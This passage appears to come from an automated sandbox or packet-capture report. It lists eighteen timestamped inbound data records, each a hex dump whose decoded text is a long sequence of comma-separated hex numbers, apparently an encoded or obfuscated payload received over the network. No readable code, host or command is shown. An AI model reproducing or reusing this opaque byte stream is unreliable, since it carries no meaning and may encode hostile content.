2023-04-20 23:05:35 UTC	19885	IN	Data Raw: 2c 66 62 2c 61 64 2c 31 33 34 2c 35 32 2c 37 61 2c 31 30 66 2c 63 32 2c 62 65 2c 31 30 31 2c 31 33 35 2c 31 30 66 2c 38 31 2c 31 33 34 2c 35 37 2c 35 62 2c 39 63 2c 61 61 2c 65 38 2c 66 36 2c 35 34 2c 64 63 2c 31 32 63 2c 31 30 30 2c 64 65 2c 63 34 2c 39 63 2c 31 36 34 2c 63 31 2c 63 36 2c 63 36 2c 66 32 2c 38 36 2c 31 34 37 2c 31 33 37 2c 31 32 31 2c 34 39 2c 63 65 2c 62 32 2c 63 65 2c 38 31 2c 31 31 32 2c 31 32 64 2c 31 33 39 2c 62 62 2c 66 36 2c 36 39 2c 31 34 61 2c 63 65 2c 65 35 2c 36 38 2c 39 38 2c 38 31 2c 61 35 2c 37 34 2c 31 33 38 2c 31 32 33 2c 31 31 34 2c 66 32 2c 31 30 37 2c 38 32 2c 31 31 39 2c 37 35 2c 63 34 2c 31 31 32 2c 31 30 62 2c 39 62 2c 65 62 2c 31 33 39 2c 37 61 2c 65 65 2c 65 64 2c 38 31 2c 62 32 2c 65 36 2c 31 31 32 2c 31 32 36 2c Data Ascii: ,fb,ad,134,52,7a,10f,c2,be,101,135,10f,81,134,57,5b,9c,aa,e8,f6,54,dc,12c,100,de,c4,9c,164,c1,c6,c6,f2,86,147,137,121,49,ce,b2,ce,81,112,12d,139,bb,f6,69,14a,ce,e5,68,98,81,a5,74,138,123,114,f2,107,82,119,75,c4,112,10b,9b,eb,139,7a,ee,ed,81,b2,e6,112,126,
2023-04-20 23:05:35 UTC	19901	IN	Data Raw: 2c 31 33 64 2c 33 34 2c 37 37 2c 31 32 64 2c 61 64 2c 35 38 2c 39 61 2c 31 31 32 2c 31 33 61 2c 39 39 2c 65 35 2c 31 30 35 2c 38 62 2c 64 37 2c 31 30 66 2c 38 66 2c 39 35 2c 35 38 2c 65 62 2c 61 30 2c 35 64 2c 66 63 2c 38 61 2c 31 30 65 2c 31 32 64 2c 61 66 2c 39 31 2c 61 61 2c 31 30 32 2c 31 30 36 2c 31 37 32 2c 62 31 2c 31 33 36 2c 63 64 2c 31 33 66 2c 65 35 2c 39 31 2c 39 31 2c 31 30 39 2c 31 33 38 2c 31 32 62 2c 31 32 37 2c 36 39 2c 31 30 64 2c 61 34 2c 63 31 2c 31 34 30 2c 39 30 2c 66 61 2c 39 31 2c 38 39 2c 34 32 2c 62 31 2c 31 37 38 2c 31 32 30 2c 64 61 2c 39 36 2c 31 35 63 2c 36 66 2c 61 39 2c 61 38 2c 31 30 37 2c 31 35 63 2c 31 31 66 2c 31 30 62 2c 33 32 2c 62 33 2c 63 32 2c 34 64 2c 61 34 2c 36 62 2c 31 32 39 2c 31 34 38 2c 61 66 2c 31 31 63 2c Data Ascii: ,13d,34,77,12d,ad,58,9a,112,13a,99,e5,105,8b,d7,10f,8f,95,58,eb,a0,5d,fc,8a,10e,12d,af,91,aa,102,106,172,b1,136,cd,13f,e5,91,91,109,138,12b,127,69,10d,a4,c1,140,90,fa,91,89,42,b1,178,120,da,96,15c,6f,a9,a8,107,15c,11f,10b,32,b3,c2,4d,a4,6b,129,148,af,11c,
2023-04-20 23:05:35 UTC	19917	IN	Data Raw: 64 66 2c 31 31 32 2c 64 63 2c 35 31 2c 31 33 64 2c 31 30 64 2c 31 32 65 2c 62 33 2c 35 65 2c 65 61 2c 31 35 63 2c 65 38 2c 63 64 2c 37 64 2c 64 39 2c 38 33 2c 64 65 2c 66 65 2c 31 30 33 2c 38 32 2c 31 33 63 2c 31 31 32 2c 66 65 2c 36 38 2c 31 33 34 2c 64 33 2c 38 31 2c 36 65 2c 31 33 64 2c 65 64 2c 61 39 2c 38 36 2c 66 64 2c 38 31 2c 31 30 66 2c 39 31 2c 31 34 35 2c 31 30 39 2c 66 63 2c 31 35 30 2c 66 31 2c 61 34 2c 62 66 2c 31 31 66 2c 65 34 2c 37 32 2c 63 65 2c 37 65 2c 63 63 2c 36 66 2c 31 33 33 2c 31 30 34 2c 65 63 2c 65 62 2c 65 31 2c 31 30 34 2c 31 30 35 2c 38 39 2c 35 34 2c 38 35 2c 66 66 2c 66 30 2c 36 65 2c 63 35 2c 31 30 39 2c 65 35 2c 31 30 33 2c 64 38 2c 31 32 31 2c 64 34 2c 38 37 2c 31 34 62 2c 63 36 2c 31 31 36 2c 39 62 2c 31 31 66 2c 38 30 Data Ascii: df,112,dc,51,13d,10d,12e,b3,5e,ea,15c,e8,cd,7d,d9,83,de,fe,103,82,13c,112,fe,68,134,d3,81,6e,13d,ed,a9,86,fd,81,10f,91,145,109,fc,150,f1,a4,bf,11f,e4,72,ce,7e,cc,6f,133,104,ec,eb,e1,104,105,89,54,85,ff,f0,6e,c5,109,e5,103,d8,121,d4,87,14b,c6,116,9b,11f,80
2023-04-20 23:05:35 UTC	19933	IN	Data Raw: 2c 64 30 2c 39 62 2c 62 39 2c 64 30 2c 36 37 2c 66 38 2c 62 35 2c 63 61 2c 31 33 31 2c 66 37 2c 38 38 2c 38 63 2c 38 62 2c 31 33 35 2c 62 36 2c 31 34 62 2c 31 35 64 2c 37 66 2c 34 36 2c 38 37 2c 38 62 2c 61 34 2c 63 64 2c 39 35 2c 31 35 32 2c 34 65 2c 64 38 2c 36 38 2c 37 66 2c 36 35 2c 62 65 2c 39 33 2c 64 63 2c 31 33 34 2c 31 33 36 2c 31 35 35 2c 64 30 2c 31 33 62 2c 65 63 2c 37 66 2c 31 33 34 2c 34 37 2c 65 62 2c 63 36 2c 37 61 2c 34 38 2c 64 39 2c 39 32 2c 39 61 2c 31 36 37 2c 31 33 37 2c 36 62 2c 38 65 2c 31 33 38 2c 65 62 2c 61 39 2c 31 34 32 2c 31 32 38 2c 38 63 2c 31 30 34 2c 31 34 30 2c 62 35 2c 62 66 2c 38 39 2c 38 33 2c 37 34 2c 31 30 31 2c 31 34 37 2c 33 39 2c 31 30 61 2c 65 35 2c 63 38 2c 66 62 2c 64 33 2c 31 32 31 2c 31 34 32 2c 31 32 63 2c Data Ascii: ,d0,9b,b9,d0,67,f8,b5,ca,131,f7,88,8c,8b,135,b6,14b,15d,7f,46,87,8b,a4,cd,95,152,4e,d8,68,7f,65,be,93,dc,134,136,155,d0,13b,ec,7f,134,47,eb,c6,7a,48,d9,92,9a,167,137,6b,8e,138,eb,a9,142,128,8c,104,140,b5,bf,89,83,74,101,147,39,10a,e5,c8,fb,d3,121,142,12c,
2023-04-20 23:05:35 UTC	19949	IN	Data Raw: 61 36 2c 65 63 2c 31 33 65 2c 31 32 36 2c 34 30 2c 31 33 66 2c 65 62 2c 39 61 2c 31 36 62 2c 65 35 2c 31 30 37 2c 31 34 35 2c 38 38 2c 36 62 2c 36 61 2c 66 62 2c 65 38 2c 66 64 2c 62 65 2c 31 32 62 2c 62 66 2c 37 37 2c 31 31 66 2c 66 32 2c 31 32 37 2c 31 35 30 2c 66 30 2c 38 31 2c 64 65 2c 39 36 2c 65 33 2c 34 38 2c 61 36 2c 31 32 36 2c 31 34 64 2c 37 33 2c 35 64 2c 39 62 2c 31 34 33 2c 61 34 2c 39 62 2c 64 65 2c 31 32 66 2c 36 39 2c 33 62 2c 31 33 35 2c 38 36 2c 62 63 2c 39 30 2c 64 65 2c 63 63 2c 36 33 2c 31 36 65 2c 66 34 2c 37 36 2c 31 30 32 2c 31 30 64 2c 65 38 2c 62 62 2c 66 33 2c 61 62 2c 66 32 2c 65 34 2c 34 63 2c 36 37 2c 36 37 2c 39 64 2c 61 33 2c 37 62 2c 31 31 30 2c 31 33 63 2c 31 34 63 2c 31 31 66 2c 31 33 32 2c 65 65 2c 31 30 64 2c 36 38 2c Data Ascii: a6,ec,13e,126,40,13f,eb,9a,16b,e5,107,145,88,6b,6a,fb,e8,fd,be,12b,bf,77,11f,f2,127,150,f0,81,de,96,e3,48,a6,126,14d,73,5d,9b,143,a4,9b,de,12f,69,3b,135,86,bc,90,de,cc,63,16e,f4,76,102,10d,e8,bb,f3,ab,f2,e4,4c,67,67,9d,a3,7b,110,13c,14c,11f,132,ee,10d,68,
2023-04-20 23:05:35 UTC	19965	IN	Data Raw: 31 31 65 2c 61 66 2c 39 63 2c 37 66 2c 36 37 2c 66 62 2c 36 33 2c 31 31 61 2c 31 34 36 2c 61 39 2c 63 34 2c 61 63 2c 66 39 2c 31 34 66 2c 31 30 65 2c 61 30 2c 65 38 2c 31 32 63 2c 39 64 2c 66 66 2c 31 35 34 2c 39 64 2c 33 32 2c 31 30 33 2c 31 32 66 2c 39 66 2c 31 32 64 2c 35 62 2c 66 39 2c 31 36 32 2c 63 32 2c 34 63 2c 64 32 2c 38 32 2c 39 32 2c 31 30 61 2c 34 62 2c 31 31 63 2c 31 34 32 2c 31 30 37 2c 31 34 66 2c 36 61 2c 31 31 61 2c 31 33 38 2c 31 32 31 2c 31 32 36 2c 31 32 39 2c 61 36 2c 64 33 2c 31 31 65 2c 31 35 39 2c 31 30 39 2c 31 35 38 2c 31 33 39 2c 34 30 2c 38 31 2c 31 32 66 2c 31 32 64 2c 31 33 62 2c 63 64 2c 62 65 2c 38 38 2c 34 65 2c 31 33 39 2c 61 33 2c 31 32 37 2c 66 32 2c 38 37 2c 65 36 2c 63 38 2c 31 30 36 2c 31 35 39 2c 38 65 2c 39 63 2c Data Ascii: 11e,af,9c,7f,67,fb,63,11a,146,a9,c4,ac,f9,14f,10e,a0,e8,12c,9d,ff,154,9d,32,103,12f,9f,12d,5b,f9,162,c2,4c,d2,82,92,10a,4b,11c,142,107,14f,6a,11a,138,121,126,129,a6,d3,11e,159,109,158,139,40,81,12f,12d,13b,cd,be,88,4e,139,a3,127,f2,87,e6,c8,106,159,8e,9c,
2023-04-20 23:05:35 UTC	19981	IN	Data Raw: 30 2c 31 32 62 2c 61 63 2c 31 31 65 2c 31 31 36 2c 38 61 2c 64 39 2c 31 30 64 2c 38 32 2c 66 64 2c 65 30 2c 31 33 35 2c 38 66 2c 31 30 30 2c 31 31 64 2c 63 30 2c 31 35 36 2c 31 31 30 2c 31 34 37 2c 31 32 30 2c 35 63 2c 63 62 2c 31 30 37 2c 39 31 2c 39 36 2c 31 30 35 2c 65 36 2c 64 37 2c 33 62 2c 64 36 2c 31 31 61 2c 31 30 64 2c 31 35 30 2c 63 62 2c 63 61 2c 31 30 64 2c 62 62 2c 31 33 34 2c 66 63 2c 38 30 2c 31 35 36 2c 64 32 2c 64 38 2c 39 66 2c 66 63 2c 62 38 2c 31 35 66 2c 31 30 37 2c 31 35 39 2c 34 64 2c 61 36 2c 37 31 2c 35 36 2c 37 62 2c 35 39 2c 63 35 2c 62 65 2c 36 39 2c 35 65 2c 31 36 37 2c 62 33 2c 31 31 61 2c 31 30 66 2c 31 30 34 2c 66 64 2c 37 37 2c 37 31 2c 31 34 35 2c 64 34 2c 31 32 62 2c 66 38 2c 39 33 2c 31 34 37 2c 35 33 2c 31 32 61 2c 39 Data Ascii: 0,12b,ac,11e,116,8a,d9,10d,82,fd,e0,135,8f,100,11d,c0,156,110,147,120,5c,cb,107,91,96,105,e6,d7,3b,d6,11a,10d,150,cb,ca,10d,bb,134,fc,80,156,d2,d8,9f,fc,b8,15f,107,159,4d,a6,71,56,7b,59,c5,be,69,5e,167,b3,11a,10f,104,fd,77,71,145,d4,12b,f8,93,147,53,12a,9
2023-04-20 23:05:35 UTC	19997	IN	Data Raw: 61 2c 31 31 66 2c 66 63 2c 62 34 2c 64 32 2c 31 36 39 2c 66 30 2c 65 39 2c 31 31 32 2c 64 38 2c 31 30 32 2c 36 36 2c 64 37 2c 31 34 32 2c 36 64 2c 31 31 65 2c 38 33 2c 66 38 2c 31 34 34 2c 31 30 63 2c 31 35 66 2c 31 32 36 2c 31 31 61 2c 31 30 35 2c 36 34 2c 65 66 2c 39 36 2c 31 35 34 2c 62 33 2c 36 63 2c 36 30 2c 62 31 2c 66 64 2c 36 36 2c 64 30 2c 39 31 2c 65 39 2c 63 34 2c 31 33 35 2c 64 63 2c 65 65 2c 64 33 2c 66 61 2c 36 62 2c 36 34 2c 31 34 32 2c 66 61 2c 31 32 66 2c 62 66 2c 66 35 2c 31 30 64 2c 66 34 2c 31 36 32 2c 38 39 2c 31 32 66 2c 31 30 34 2c 39 64 2c 38 66 2c 37 38 2c 66 37 2c 31 31 39 2c 63 38 2c 31 30 30 2c 65 30 2c 66 65 2c 31 31 39 2c 31 35 31 2c 31 31 35 2c 65 39 2c 38 63 2c 36 31 2c 31 31 30 2c 64 33 2c 31 33 62 2c 65 32 2c 62 34 2c 65 Data Ascii: a,11f,fc,b4,d2,169,f0,e9,112,d8,102,66,d7,142,6d,11e,83,f8,144,10c,15f,126,11a,105,64,ef,96,154,b3,6c,60,b1,fd,66,d0,91,e9,c4,135,dc,ee,d3,fa,6b,64,142,fa,12f,bf,f5,10d,f4,162,89,12f,104,9d,8f,78,f7,119,c8,100,e0,fe,119,151,115,e9,8c,61,110,d3,13b,e2,b4,e
2023-04-20 23:05:36 UTC	20013	IN	Data Raw: 2c 31 34 33 2c 31 32 31 2c 31 30 65 2c 62 30 2c 31 30 61 2c 62 62 2c 66 64 2c 31 34 36 2c 63 66 2c 63 38 2c 31 33 64 2c 39 62 2c 31 31 36 2c 35 31 2c 31 32 38 2c 63 34 2c 31 35 30 2c 62 38 2c 66 37 2c 31 35 34 2c 31 30 37 2c 31 33 30 2c 31 32 38 2c 33 65 2c 38 33 2c 35 36 2c 39 66 2c 31 34 65 2c 37 63 2c 64 34 2c 38 35 2c 35 35 2c 66 64 2c 39 34 2c 37 35 2c 37 30 2c 31 35 37 2c 65 32 2c 39 30 2c 31 35 30 2c 66 34 2c 31 37 35 2c 31 32 63 2c 31 30 66 2c 64 30 2c 62 38 2c 39 39 2c 31 33 37 2c 31 34 34 2c 61 64 2c 31 33 39 2c 31 30 36 2c 36 30 2c 31 31 61 2c 31 34 34 2c 38 61 2c 62 37 2c 31 32 64 2c 31 30 35 2c 31 35 30 2c 31 33 32 2c 31 32 37 2c 31 33 34 2c 61 37 2c 66 63 2c 31 32 61 2c 65 31 2c 31 30 64 2c 31 32 37 2c 64 39 2c 31 31 63 2c 31 32 30 2c 37 63 Data Ascii: ,143,121,10e,b0,10a,bb,fd,146,cf,c8,13d,9b,116,51,128,c4,150,b8,f7,154,107,130,128,3e,83,56,9f,14e,7c,d4,85,55,fd,94,75,70,157,e2,90,150,f4,175,12c,10f,d0,b8,99,137,144,ad,139,106,60,11a,144,8a,b7,12d,105,150,132,127,134,a7,fc,12a,e1,10d,127,d9,11c,120,7c
2023-04-20 23:05:36 UTC	20029	IN	Data Raw: 38 2c 31 35 61 2c 31 33 32 2c 36 65 2c 31 35 62 2c 31 34 62 2c 31 31 37 2c 36 39 2c 31 30 34 2c 64 34 2c 36 65 2c 31 30 39 2c 34 32 2c 31 33 65 2c 37 66 2c 31 30 33 2c 31 33 66 2c 62 34 2c 62 62 2c 62 34 2c 38 31 2c 31 33 39 2c 35 39 2c 31 34 33 2c 31 33 31 2c 31 31 35 2c 64 33 2c 39 33 2c 65 31 2c 36 30 2c 37 38 2c 31 30 35 2c 31 33 64 2c 64 64 2c 31 32 35 2c 31 33 33 2c 31 35 61 2c 66 64 2c 38 35 2c 64 65 2c 65 64 2c 31 37 32 2c 37 35 2c 34 65 2c 34 32 2c 65 66 2c 31 31 66 2c 31 33 37 2c 31 30 33 2c 63 30 2c 31 30 39 2c 62 62 2c 61 64 2c 61 34 2c 37 32 2c 63 33 2c 63 65 2c 31 32 33 2c 36 65 2c 63 63 2c 38 66 2c 61 65 2c 31 30 39 2c 31 33 64 2c 65 61 2c 65 63 2c 31 34 64 2c 37 36 2c 31 33 38 2c 65 62 2c 35 35 2c 39 34 2c 37 64 2c 37 63 2c 38 62 2c 38 65 Data Ascii: 8,15a,132,6e,15b,14b,117,69,104,d4,6e,109,42,13e,7f,103,13f,b4,bb,b4,81,139,59,143,131,115,d3,93,e1,60,78,105,13d,dd,125,133,15a,fd,85,de,ed,172,75,4e,42,ef,11f,137,103,c0,109,bb,ad,a4,72,c3,ce,123,6e,cc,8f,ae,109,13d,ea,ec,14d,76,138,eb,55,94,7d,7c,8b,8e
2023-04-20 23:05:36 UTC	20045	IN	Data Raw: 32 64 2c 63 33 2c 31 32 62 2c 36 61 2c 37 61 2c 62 64 2c 66 66 2c 31 30 32 2c 62 64 2c 31 30 61 2c 31 34 36 2c 31 33 63 2c 63 39 2c 31 34 65 2c 31 32 66 2c 31 31 33 2c 38 30 2c 31 33 32 2c 66 65 2c 39 63 2c 38 31 2c 39 38 2c 35 66 2c 61 31 2c 61 32 2c 61 31 2c 65 31 2c 35 31 2c 31 31 64 2c 64 63 2c 31 33 32 2c 31 31 35 2c 31 32 30 2c 31 34 31 2c 39 34 2c 31 30 30 2c 31 30 34 2c 31 30 65 2c 37 65 2c 64 64 2c 39 34 2c 31 33 35 2c 31 33 31 2c 61 32 2c 31 32 32 2c 31 36 33 2c 64 38 2c 66 35 2c 36 34 2c 31 30 37 2c 31 34 35 2c 62 34 2c 36 36 2c 66 63 2c 31 32 30 2c 65 66 2c 65 61 2c 63 32 2c 31 30 34 2c 36 31 2c 31 31 66 2c 31 33 65 2c 39 39 2c 65 61 2c 31 36 62 2c 66 63 2c 61 66 2c 65 62 2c 63 66 2c 31 32 61 2c 36 36 2c 39 63 2c 62 62 2c 31 32 35 2c 37 30 2c Data Ascii: 2d,c3,12b,6a,7a,bd,ff,102,bd,10a,146,13c,c9,14e,12f,113,80,132,fe,9c,81,98,5f,a1,a2,a1,e1,51,11d,dc,132,115,120,141,94,100,104,10e,7e,dd,94,135,131,a2,122,163,d8,f5,64,107,145,b4,66,fc,120,ef,ea,c2,104,61,11f,13e,99,ea,16b,fc,af,eb,cf,12a,66,9c,bb,125,70,
2023-04-20 23:05:36 UTC	20061	IN	Data Raw: 2c 62 35 2c 36 64 2c 38 38 2c 31 30 39 2c 31 34 39 2c 38 39 2c 65 31 2c 61 65 2c 65 32 2c 39 63 2c 66 63 2c 31 30 38 2c 39 38 2c 31 34 38 2c 31 31 63 2c 36 61 2c 38 36 2c 39 36 2c 38 64 2c 31 33 37 2c 66 66 2c 65 30 2c 31 31 37 2c 36 34 2c 31 31 37 2c 38 34 2c 65 39 2c 37 65 2c 39 65 2c 62 33 2c 35 35 2c 35 34 2c 31 34 37 2c 66 39 2c 66 61 2c 62 65 2c 38 35 2c 31 31 35 2c 31 30 66 2c 63 35 2c 38 38 2c 66 66 2c 65 64 2c 65 34 2c 39 33 2c 61 34 2c 31 33 32 2c 64 61 2c 39 62 2c 64 39 2c 34 39 2c 64 38 2c 31 32 61 2c 31 34 39 2c 62 65 2c 38 66 2c 64 65 2c 63 39 2c 63 64 2c 61 30 2c 62 30 2c 31 35 34 2c 36 36 2c 33 64 2c 61 32 2c 36 65 2c 37 61 2c 64 38 2c 31 33 35 2c 39 31 2c 63 34 2c 31 33 33 2c 61 62 2c 37 38 2c 39 37 2c 31 34 37 2c 31 34 62 2c 63 34 2c 63 Data Ascii: ,b5,6d,88,109,149,89,e1,ae,e2,9c,fc,108,98,148,11c,6a,86,96,8d,137,ff,e0,117,64,117,84,e9,7e,9e,b3,55,54,147,f9,fa,be,85,115,10f,c5,88,ff,ed,e4,93,a4,132,da,9b,d9,49,d8,12a,149,be,8f,de,c9,cd,a0,b0,154,66,3d,a2,6e,7a,d8,135,91,c4,133,ab,78,97,147,14b,c4,c
2023-04-20 23:05:36 UTC	20077	IN	Data Raw: 2c 31 30 37 2c 61 37 2c 35 31 2c 35 64 2c 39 39 2c 31 33 31 2c 65 65 2c 34 61 2c 65 31 2c 31 31 65 2c 34 31 2c 61 37 2c 36 31 2c 61 66 2c 36 38 2c 31 34 39 2c 31 33 33 2c 38 32 2c 64 33 2c 31 30 63 2c 31 31 63 2c 31 33 61 2c 31 33 37 2c 36 64 2c 31 30 66 2c 36 39 2c 38 36 2c 31 32 36 2c 31 32 30 2c 64 31 2c 31 35 62 2c 63 62 2c 64 32 2c 36 66 2c 31 32 33 2c 64 31 2c 37 66 2c 31 36 38 2c 31 31 32 2c 65 32 2c 31 31 33 2c 37 37 2c 61 31 2c 31 30 63 2c 36 63 2c 31 35 31 2c 31 31 65 2c 66 62 2c 34 64 2c 31 31 61 2c 36 31 2c 63 32 2c 62 30 2c 31 34 65 2c 65 39 2c 61 62 2c 35 34 2c 66 64 2c 66 65 2c 31 32 39 2c 31 33 33 2c 31 33 65 2c 31 35 62 2c 33 61 2c 31 31 30 2c 31 31 32 2c 61 31 2c 31 31 35 2c 31 34 38 2c 31 30 61 2c 31 31 64 2c 37 38 2c 31 32 38 2c 31 32 Data Ascii: ,107,a7,51,5d,99,131,ee,4a,e1,11e,41,a7,61,af,68,149,133,82,d3,10c,11c,13a,137,6d,10f,69,86,126,120,d1,15b,cb,d2,6f,123,d1,7f,168,112,e2,113,77,a1,10c,6c,151,11e,fb,4d,11a,61,c2,b0,14e,e9,ab,54,fd,fe,129,133,13e,15b,3a,110,112,a1,115,148,10a,11d,78,128,12
2023-04-20 23:05:36 UTC	20093	IN	Data Raw: 61 2c 36 37 2c 31 33 63 2c 63 61 2c 31 35 33 2c 31 31 65 2c 31 32 31 2c 31 33 34 2c 37 36 2c 35 36 2c 31 32 63 2c 34 66 2c 62 39 2c 31 33 63 2c 37 32 2c 31 30 31 2c 31 31 33 2c 64 32 2c 31 34 33 2c 39 64 2c 31 32 32 2c 31 33 32 2c 31 33 37 2c 39 62 2c 63 30 2c 34 32 2c 61 37 2c 34 32 2c 63 37 2c 31 32 39 2c 61 33 2c 31 31 61 2c 61 34 2c 31 32 62 2c 31 32 63 2c 31 32 66 2c 61 37 2c 64 62 2c 31 31 30 2c 38 64 2c 39 33 2c 31 32 61 2c 31 30 39 2c 39 63 2c 62 63 2c 31 30 34 2c 38 36 2c 31 32 39 2c 39 32 2c 31 36 62 2c 62 38 2c 66 35 2c 39 30 2c 37 32 2c 62 38 2c 38 31 2c 36 33 2c 37 61 2c 39 32 2c 65 61 2c 63 34 2c 65 39 2c 31 31 63 2c 31 30 34 2c 65 39 2c 36 36 2c 31 34 34 2c 31 31 64 2c 65 37 2c 65 62 2c 62 35 2c 65 62 2c 61 34 2c 64 38 2c 37 64 2c 34 32 2c Data Ascii: a,67,13c,ca,153,11e,121,134,76,56,12c,4f,b9,13c,72,101,113,d2,143,9d,122,132,137,9b,c0,42,a7,42,c7,129,a3,11a,a4,12b,12c,12f,a7,db,110,8d,93,12a,109,9c,bc,104,86,129,92,16b,b8,f5,90,72,b8,81,63,7a,92,ea,c4,e9,11c,104,e9,66,144,11d,e7,eb,b5,eb,a4,d8,7d,42,
2023-04-20 23:05:36 UTC	20109	IN	Data Raw: 39 35 2c 61 39 2c 31 34 32 2c 64 64 2c 39 31 2c 39 37 2c 63 65 2c 31 31 62 2c 33 38 2c 31 33 39 2c 36 32 2c 64 39 2c 31 32 30 2c 61 32 2c 66 63 2c 31 30 34 2c 31 32 37 2c 31 30 34 2c 61 39 2c 31 34 61 2c 31 31 65 2c 65 61 2c 61 61 2c 61 64 2c 61 64 2c 64 38 2c 63 39 2c 31 34 61 2c 39 64 2c 31 32 65 2c 62 64 2c 37 64 2c 64 38 2c 31 32 38 2c 62 33 2c 39 35 2c 63 37 2c 31 30 34 2c 64 37 2c 37 30 2c 66 63 2c 31 32 63 2c 35 65 2c 63 35 2c 31 30 32 2c 31 30 36 2c 31 32 31 2c 38 63 2c 66 39 2c 31 32 61 2c 35 38 2c 31 35 65 2c 63 39 2c 63 36 2c 62 35 2c 64 63 2c 64 39 2c 31 36 64 2c 62 31 2c 64 32 2c 61 63 2c 38 63 2c 31 30 65 2c 31 30 37 2c 65 39 2c 36 37 2c 31 36 66 2c 65 61 2c 31 33 33 2c 35 66 2c 31 35 33 2c 38 62 2c 61 38 2c 61 32 2c 31 31 30 2c 31 32 35 2c Data Ascii: 95,a9,142,dd,91,97,ce,11b,38,139,62,d9,120,a2,fc,104,127,104,a9,14a,11e,ea,aa,ad,ad,d8,c9,14a,9d,12e,bd,7d,d8,128,b3,95,c7,104,d7,70,fc,12c,5e,c5,102,106,121,8c,f9,12a,58,15e,c9,c6,b5,dc,d9,16d,b1,d2,ac,8c,10e,107,e9,67,16f,ea,133,5f,153,8b,a8,a2,110,125,
2023-04-20 23:05:36 UTC	20125	IN	Data Raw: 35 38 2c 31 30 32 2c 62 32 2c 39 63 2c 31 34 61 2c 36 30 2c 39 32 2c 31 34 64 2c 65 63 2c 31 30 65 2c 61 65 2c 39 38 2c 39 65 2c 31 35 35 2c 31 31 35 2c 61 32 2c 31 32 32 2c 37 63 2c 62 37 2c 31 31 35 2c 61 37 2c 31 33 35 2c 31 34 62 2c 39 37 2c 39 34 2c 31 33 65 2c 62 62 2c 62 35 2c 37 34 2c 35 32 2c 31 30 66 2c 31 33 38 2c 65 64 2c 31 33 30 2c 65 65 2c 61 39 2c 39 35 2c 37 61 2c 36 31 2c 31 33 61 2c 31 31 33 2c 37 61 2c 31 33 62 2c 39 65 2c 63 65 2c 37 64 2c 31 36 35 2c 31 31 65 2c 62 61 2c 37 38 2c 31 31 61 2c 31 31 30 2c 31 33 66 2c 31 33 65 2c 31 34 31 2c 62 63 2c 39 34 2c 37 32 2c 31 32 33 2c 61 66 2c 66 39 2c 61 34 2c 63 62 2c 31 33 30 2c 38 36 2c 31 35 30 2c 31 33 32 2c 64 36 2c 64 35 2c 38 31 2c 31 31 61 2c 66 39 2c 31 33 39 2c 31 33 36 2c 31 30 Data Ascii: 58,102,b2,9c,14a,60,92,14d,ec,10e,ae,98,9e,155,115,a2,122,7c,b7,115,a7,135,14b,97,94,13e,bb,b5,74,52,10f,138,ed,130,ee,a9,95,7a,61,13a,113,7a,13b,9e,ce,7d,165,11e,ba,78,11a,110,13f,13e,141,bc,94,72,123,af,f9,a4,cb,130,86,150,132,d6,d5,81,11a,f9,139,136,10
2023-04-20 23:05:37 UTC	20141	IN	Data Raw: 2c 31 32 61 2c 62 64 2c 39 62 2c 31 33 65 2c 37 66 2c 31 35 63 2c 37 33 2c 31 33 37 2c 37 61 2c 64 65 2c 61 31 2c 33 38 2c 39 61 2c 61 38 2c 61 64 2c 62 33 2c 31 33 33 2c 39 34 2c 31 35 30 2c 66 36 2c 31 32 34 2c 39 38 2c 31 30 64 2c 31 36 35 2c 62 30 2c 34 30 2c 31 33 34 2c 63 66 2c 64 61 2c 31 36 30 2c 39 34 2c 31 33 30 2c 64 63 2c 39 36 2c 63 39 2c 61 32 2c 62 39 2c 31 32 66 2c 31 35 35 2c 65 65 2c 38 36 2c 31 31 32 2c 31 34 63 2c 31 30 30 2c 66 35 2c 31 34 39 2c 31 31 39 2c 65 62 2c 31 31 30 2c 64 36 2c 31 33 31 2c 35 63 2c 63 66 2c 62 30 2c 63 32 2c 64 30 2c 31 30 35 2c 65 31 2c 31 34 31 2c 39 66 2c 63 39 2c 31 36 38 2c 31 30 61 2c 61 38 2c 39 66 2c 66 36 2c 31 32 39 2c 62 39 2c 31 31 33 2c 61 38 2c 38 36 2c 31 34 33 2c 61 61 2c 38 63 2c 62 61 2c 31 Data Ascii: ,12a,bd,9b,13e,7f,15c,73,137,7a,de,a1,38,9a,a8,ad,b3,133,94,150,f6,124,98,10d,165,b0,40,134,cf,da,160,94,130,dc,96,c9,a2,b9,12f,155,ee,86,112,14c,100,f5,149,119,eb,110,d6,131,5c,cf,b0,c2,d0,105,e1,141,9f,c9,168,10a,a8,9f,f6,129,b9,113,a8,86,143,aa,8c,ba,1
2023-04-20 23:05:37 UTC	20157	IN	Data Raw: 63 64 2c 36 62 2c 35 64 2c 38 36 2c 31 32 62 2c 64 36 2c 37 63 2c 39 62 2c 37 63 2c 31 32 32 2c 31 35 66 2c 64 64 2c 31 34 62 2c 66 32 2c 33 66 2c 31 31 37 2c 64 62 2c 31 31 39 2c 65 34 2c 31 30 66 2c 63 65 2c 39 62 2c 38 61 2c 31 32 63 2c 33 37 2c 39 61 2c 31 30 64 2c 66 66 2c 31 31 65 2c 31 30 64 2c 33 37 2c 31 32 34 2c 39 66 2c 36 62 2c 35 38 2c 65 66 2c 38 62 2c 38 66 2c 36 37 2c 61 61 2c 36 36 2c 64 35 2c 64 36 2c 61 37 2c 31 31 37 2c 36 66 2c 34 34 2c 38 38 2c 31 31 63 2c 31 30 31 2c 31 35 63 2c 31 30 36 2c 39 31 2c 38 66 2c 31 36 30 2c 37 39 2c 33 35 2c 31 33 39 2c 37 33 2c 31 31 62 2c 64 30 2c 31 32 39 2c 33 64 2c 66 65 2c 34 64 2c 63 38 2c 31 31 63 2c 61 64 2c 38 37 2c 31 35 66 2c 31 32 61 2c 65 61 2c 31 33 30 2c 63 32 2c 62 31 2c 31 30 33 2c 36 Data Ascii: cd,6b,5d,86,12b,d6,7c,9b,7c,122,15f,dd,14b,f2,3f,117,db,119,e4,10f,ce,9b,8a,12c,37,9a,10d,ff,11e,10d,37,124,9f,6b,58,ef,8b,8f,67,aa,66,d5,d6,a7,117,6f,44,88,11c,101,15c,106,91,8f,160,79,35,139,73,11b,d0,129,3d,fe,4d,c8,11c,ad,87,15f,12a,ea,130,c2,b1,103,6
